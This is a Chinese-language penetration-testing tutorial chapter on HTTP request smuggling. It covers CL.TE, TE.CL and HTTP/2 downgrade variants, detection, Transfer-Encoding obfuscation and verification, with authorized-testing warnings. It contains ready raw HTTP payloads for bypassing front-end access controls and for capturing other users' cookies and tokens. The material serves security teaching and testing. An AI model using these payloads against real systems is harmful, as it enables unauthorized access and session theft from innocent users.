第 5 章 · 07 HTTP 请求走私 本节摘要:HTTP 请求走私(HRS)利用前端代理与后端服务器对「一个 HTTP 请求在哪里结束、下一个从哪里开始」的分歧。当两端对 与 头部的解析不一致时,攻击者可把隐藏请求前缀塞进后端 socket,它随后被前置于下一个合法用户的请求。本节讲透攻击面、四种核心变体(CL.TE/TE.CL/H2.CL/H2.TE)、检测技术(时间型/差异响应/TE 混淆)、绕过技巧与验证方法。影响从绕过前端安全控制到完整的跨用户 session 劫持。 内容来源:原项目知识包 ,汉化并套用体系化模板。 ⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。
本节摘要:HTTP 请求走私(HRS)利用前端代理与后端服务器对「一个 HTTP 请求在哪里结束、下一个从哪里开始」的分歧。当两端对
Content-Length与Transfer-Encoding头部的解析不一致时,攻击者可把隐藏请求前缀塞进后端 socket,它随后被前置于下一个合法用户的请求。本节讲透攻击面、四种核心变体(CL.TE/TE.CL/H2.CL/H2.TE)、检测技术(时间型/差异响应/TE 混淆)、绕过技巧与验证方法。影响从绕过前端安全控制到完整的跨用户 session 劫持。
内容来源:原项目知识包
strix/skills/vulnerabilities/http_request_smuggling.md,汉化并套用体系化模板。
⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。请求走私可能影响其他真实用户,捕获类测试必须在低流量时段、明确授权下进行。
阅读完本节,你应当能够:
基础设施拓扑:
HTTP 版本:
解析器差异点:
Content-Length 头部的处理Transfer-Encoding: chunked 与 Content-Length 时的处理高价值目标:
💡 核心心法:请求走私活在「边界」上——识别代理 → 后端对(CDN → 源、ingress → 服务),针对成帧分歧下手。
CL.TE:发一个 Content-Length 完整但 Transfer-Encoding body 缺少 0\r\n\r\n 终止符的请求。CL.TE 漏洞的后端会等待终止符,导致超时。
POST / HTTP/1.1 Host: target.com Transfer-Encoding: chunked Content-Length: 6 3 abc X
若响应延迟 10~30 秒,CL.TE 去同步很可能成立。
TE.CL:发一个完整 chunked body(含 0\r\n\r\n 终止符让前端满意)但 Content-Length 设得比 body 实际提供的更多字节。用 Content-Length 的后端等待永远不会到达的剩余字节——产生 10~30 秒超时。把 Content-Length 设得少于 body 会导致 socket 毒化(差异响应检测),而非超时。
连续发两个请求。若第二个请求收到意外响应(错误、重定向、错误内容),第一个可能已毒化 socket。用走私前缀中的唯一字符串确认。
Transfer-Encoding: xchunked # 非标准值,某些前端忽略,后端接受 Transfer-Encoding: chunked # 值前有前导空格(冒号+空格后 0x20 字节) Transfer-Encoding: chunked # 值前有 tab 字符 Transfer-Encoding: x Transfer-Encoding: chunked # 重复 TE 头部,后端用最后一个
前端读 Content-Length: X 字节并转发。后端读到 0\r\n\r\n 块终止符。攻击者在 0 终止符后追加一个前端认为是同一 body 一部分、但后端视为新请求的隐藏请求。
POST / HTTP/1.1 Host: target.com Content-Length: 6 Transfer-Encoding: chunked 0 G
G 留在后端 socket 缓冲区,前置于下一个请求。
前端读 chunked body 至完成。后端只读 Content-Length 字节,把剩余留在 socket。
POST / HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0
HTTP/2 在自身成帧中没有 Content-Length vs TE 歧义。但当前端为后端降级到 HTTP/1.1 时,攻击者可在 HTTP/2 请求中注入一个与实际 body 长度冲突的 content-length 头部。注意:content-length 是常规 HTTP/2 头部——伪头部专指 :method、:path、:authority、:scheme:
:method POST :path / :authority target.com content-type application/x-www-form-urlencoded content-length: 0 SMUGGLED_PREFIX
在 HTTP/2 头部注入 transfer-encoding: chunked(HTTP/2 规范禁止,但某些前端透传)。后端同时收到两个头部,可能优先 TE 而非 CL。
:method POST :path / transfer-encoding: chunked 0 SMUGGLED
前端代理通过检查请求头部执行认证或 IP 限制。若走私前缀绕过前端(因为从前端看它埋在前一个请求的 body 里),后端在无安全检查下处理它。
POST /not-restricted HTTP/1.1 Host: target.com Content-Length: 100 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: target.com X-Forwarded-Host: target.com Content-Length: 10 x=1
GET /admin 被后端视为源自受信代理 IP 的新合法请求。
用捕获下一个受害用户请求(含其 cookie、token、请求 body)进受控端点(搜索、评论提交)响应的部分请求前缀毒化后端 socket。
POST /search HTTP/1.1 Host: target.com Content-Length: 120 Transfer-Encoding: chunked 0 POST /search HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 q=
走私前缀中的 Content-Length: 100 比实际走私 body 长,后端等待 100 字节——它从下一个用户的请求中获取。/search 端点回显查询,捕获后续请求的头部与 body。
Host 头部的前缀。若缓存只按 URL 键存响应,毒化响应投递给所有请求该 URL 的用户。Upgrade 请求可劫持后续用户的现有 WebSocket 连接。Transfer-Encoding: xchunked Transfer-Encoding : chunked # 冒号前有空格 X: X<CRLF>Transfer-Encoding: chunked # 头部注入——在 <CRLF> 处注入实际 CRLF 字节,非字面字符串 \r\n Transfer-Encoding: chunked<CRLF>Transfer-Encoding: x # TE 两次——在 <CRLF> 处注入实际 CRLF 字节
content-length 常规头部transfer-encoding: chunked(规范禁止但有时透传)💡 绕过的本质:TE 混淆是最可靠的路径——
Transfer-Encoding: xchunked在许多 Apache/IIS 后端奏效。H2.CL 是影响最大的现代变体——许多 CDN 把 HTTP/2 翻译成 HTTP/1.1,并从 HTTP/2 请求中发送的content-length常规头部(非伪头部)推导Content-Length。
确认一个请求走私真实存在的稳妥步骤:
/admin 的请求,在直接请求返回 403 处收到 200。Cookie 或 Authorization 头部出现在受控端点的响应中。常见误报:
⚠️ 请求走私的影响可波及同栈的其他用户——捕获类攻击会窃取真实用户的凭据。务必在低流量时段、明确授权下测试,优先用时间探测与唯一标记,避免影响真实用户。
xchunked/tab/重复头部)。GET /admin)、跨用户请求捕获(走私前缀 CL 大于 body,等下一用户填充)、响应队列毒化、缓存毒化链、WebSocket 握手劫持。content-length 常规头部推导 CL)。下一节(第 5 章最后一节),我们把头部注入(CRLF/响应拆分/缓存毒化/Host 混淆)与路径穿越/LFI/RFI 合并讲透——这两类都是「输入到达文件或头部处理」的失败。